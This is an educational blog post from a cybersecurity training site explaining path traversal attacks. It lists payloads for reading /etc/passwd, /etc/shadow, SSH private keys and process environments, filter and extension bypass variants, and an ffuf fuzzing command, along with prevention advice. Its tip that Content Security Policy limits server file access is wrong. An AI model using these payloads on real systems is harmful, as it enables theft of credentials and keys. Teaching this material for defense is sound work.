Skip to content
-
Learn Cybersecurity & Ethical Hacking in Nepal with CyberSamir — Start Learning →
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Penetration testing

Path Traversal Explained

By cybersamir
May 4, 2025 2 Min Read
Comments Off on Path Traversal Explained

Path Traversal: Escaping the Web Root

Understanding and exploiting directory traversal vulnerabilities

⚠️ Ethical Disclaimer: This guide is for educational purposes only. Only test systems you own or have explicit permission to test.

What is Path Traversal?

Path Traversal (also called Directory Traversal) is a web security vulnerability that allows attackers to read arbitrary files on the server by manipulating file paths with “../” sequences and similar constructs.

Normal File Access

Legitimate request for an image:

GET /images/profile.jpg HTTP/1.1

Path Traversal Attack

Malicious request to access sensitive files:

GET /images/../../../../etc/passwd HTTP/1.1

How Path Traversal Works

Web servers typically restrict users to a specific “web root” directory. However, if input isn’t validated, attackers can “climb up” the directory tree using dot-dot-slash (../).

[Image of linux directory structure]
/var/www/html/ (Web Root)
images/
profile.jpg
uploads/
index.php
/etc/
passwd
shadow

Common Vulnerable Scenarios

1. File Download Functionality

https://example.com/download?file=../../../../etc/passwd

2. Image Loading

https://example.com/loadImage?img=../../../.ssh/id_rsa

3. Template Inclusion

https://example.com/render?template=../../../../proc/self/environ

Path Traversal Techniques

Technique Example Purpose
Basic traversal ../../etc/passwd Standard path traversal
URL encoding ..%2F..%2Fetc%2Fpasswd Bypass simple filters
Double encoding ..%252F..%252Fetc%252Fpasswd Bypass multiple decoding layers
Null byte ../../etc/passwd%00 Terminate string after payload (Legacy)
Absolute path /etc/passwd Direct file reference

Testing for Path Traversal

1. Manual Testing

  1. Identify file parameters (file, path, doc, etc.)
  2. Try basic traversal sequences
  3. Experiment with different encodings
  4. Test for file existence

2. Common Files to Check

/etc/passwd
/etc/shadow
/proc/self/environ
/var/log/apache2/access.log
C:\Windows\System32\drivers\etc\hosts

3. Automated Tools

# Using Burp Suite
1. Spider the application
2. Find file parameters
3. Use Intruder with traversal payloads

# Using ffuf
ffuf -u "https://example.com/download?file=FUZZ" -w traversal.txt

Bypassing Defenses

1. Path Normalization Bypass

....//
....\/
..\/..
%2e%2e%2f
.%2e/%2e%2e/%2f

2. Starting Directory Bypass

When restricted to a specific directory:

/var/www/html/uploads/../../../etc/passwd
uploads/../../../../etc/passwd

3. File Extension Bypass

When required extensions are enforced:

../../etc/passwd%00.jpg
../../etc/passwd?.jpg
../../etc/passwd%23.jpg

Real-World Examples

Case 1: Web Server Configuration

A CMS plugin allowed file downloads via a parameter vulnerable to traversal, exposing server credentials.

Case 2: Image Processing Service

An image resizing service didn’t validate input paths, allowing access to AWS credentials.

Case 3: Log Viewer Application

A web-based log viewer accepted arbitrary paths, exposing sensitive system files.

Prevention and Mitigation

1. Input Validation

  • Whitelist allowed characters (e.g., alphanumeric only)
  • Reject paths containing “../”
  • Canonicalize paths before validation

2. Secure File Operations

  • Use index-based file access (ID maps to file) instead of direct paths
  • Prepend a base directory to all paths and check if it resolves within that directory
  • Use chroot jails for sensitive operations
Pro Tip: Implement Content Security Policy (CSP) to restrict file access even if traversal succeeds.

Conclusion

Path Traversal remains a critical vulnerability because it’s often easy to exploit and the impact can range from information disclosure to full system compromise.

Remember: Always validate and sanitize all user-supplied file paths, and implement defense-in-depth protections.

Further Resources

  • OWASP Path Traversal
  • PortSwigger Path Traversal
  • SecLists Traversal Payloads
↑

Tags:

directory traversalfile path attackinput validationinsecure file accessOWASP path traversalpath traversal explainedpath traversal mitigationpath traversal vulnerabilityprevent path traversalweb application security
Author

cybersamir

Follow Me
Other Articles
Previous

Remote Code Execution (RCE) Vulnerabilities Explained

Next

CSRF Attacks: Bypassing SameSite Cookies

Your ad here

300 x 250 banner slot

Reach Nepali students, developers, and security learners reading about ethical hacking, CTFs, and cyber news.

Book on WhatsApp Or send an email

Sponsors: VPNs, courses, hosting, security tools

Recent Posts

  • How to Recover Money from Online Scam Nepal: 2026 Guide
  • How to Check If Your Data Was Leaked (Nepal 2026 Guide)
  • Is PHP Dead? A 2026 Reckoning
  • Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale
  • How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

Nepal Cyber Shield 2026

Been scammed or hacked?

Act fast: save screenshots, don't delete chats, and report it.

  • 100 Nepal Police emergency line
  • +9779851286770 Nepal Police Cyber Bureau
Report here (Nepal Police) Read the step-by-step reporting guide

Money lost? Call your bank first so they can try to freeze the transfer.

Categories

  • Awareness
  • Blog
  • Career & Learning
  • Cybersecurity
  • Ethical Hacking
  • Nepal Tech & Digital Safety
  • News
  • Penetration testing
  • Tools & Reviews

Latest security alerts

  • pCloud Password Manager Hit by Cyber Attack Involving Email Address Exposure and Login Attempts
  • Suspected Vietnam-Linked Hackers Target Southeast Asia in South China Sea Espionage Campaign
  • Microsoft Store App Found Delivering Vinci RAT Capable of Remote System Control
  • How to Keep Your Security Picture Current When Attackers Move at AI Speed
  • Hackers Trojanize Official Q-Dir and DesktopOK Downloads to Deliver Remote Access Malware
  • Nepal's Digital Systems Under Siege: Cyber Attacks Target Government and Private Sectors - Ratopati
  • Stock Market Trading Halted Due to Cyber Attack on Data Center - Ratopati
  • NEPSE’s ‘technical glitch’ was a ransomware attack. What happened? - OnlineKhabar English News
  • Nepal’s stock market has a bigger problem than a ransomware attack: Everything you need to know - Nepalnews.com
  • Nepal stock market halted after ransomware attack disrupts 72 brokers - The Star

You May Have Missed

how to recover money from online scam Nepal
Awareness

How to Recover Money from Online Scam Nepal: 2026 Guide

cybersamir
By cybersamir
November 28, 2026
data leak check nepal
Awareness

How to Check If Your Data Was Leaked (Nepal 2026 Guide)

cybersamir
By cybersamir
November 26, 2026
Cinematic PHP programming thumbnail with the headline “Is PHP Dead? 2026 Reckoning,” a glowing blue PHP elephant, and CyberSamir branding.
Awareness

Is PHP Dead? A 2026 Reckoning

cybersamir
By cybersamir
October 25, 2026
ctf top 10 selected teams
News

Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale

cybersamir
By cybersamir
October 4, 2026
How to report cybercrime in Nepal Cyber Bureau complaint guide
Awareness

How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

cybersamir
By cybersamir
September 27, 2026
Nepal Data Breach: 462,600 Citizens' IDs Allegedly Leaked," subtext "Dark web forum post claims mass PII theft from a .gov.np portal
News

Nepal Government Portal Allegedly Breached: 462,600 Citizens’ Data Reportedly Listed for Sale on Dark Web

cybersamir
By cybersamir
September 24, 2026
Cybersecurity

Top 10 Security Mistakes Nepali Websites Still Make in 2026

cybersamir
By cybersamir
September 23, 2026
News Cybersecurity

Nepal Data Hub Ransomware Attack: NEPSE Shutdown Explained

cybersamir
By cybersamir
September 23, 2026
News

Nepal Cyber Shield 2026: Everything You Need to Know About Nepal’s National CTF Championship

cybersamir
By cybersamir
September 19, 2026
CS

CYBERSAMIR

Explore. Hack. Secure. Learn.

About Us

CyberSamir provides cutting-edge insights into ethical hacking, penetration testing, and cybersecurity defense strategies for professionals and enthusiasts alike.

500+ Articles
15K+ Members
30+ Tools

Resources

  • Tutorials
  • Our Services
  • Tools
  • CTF Walkthroughs
  • Security News

Community

  • WhatsApp Group
  • Discord Server
  • Telegram Group
  • Upcoming Events
  • Certifications

Follow Us

Cyber Security Events Worldwide

© CyberSamir. All Rights Reserved.

Copyright 2026 — Cyber Samir. All rights reserved. Blogsy WordPress Theme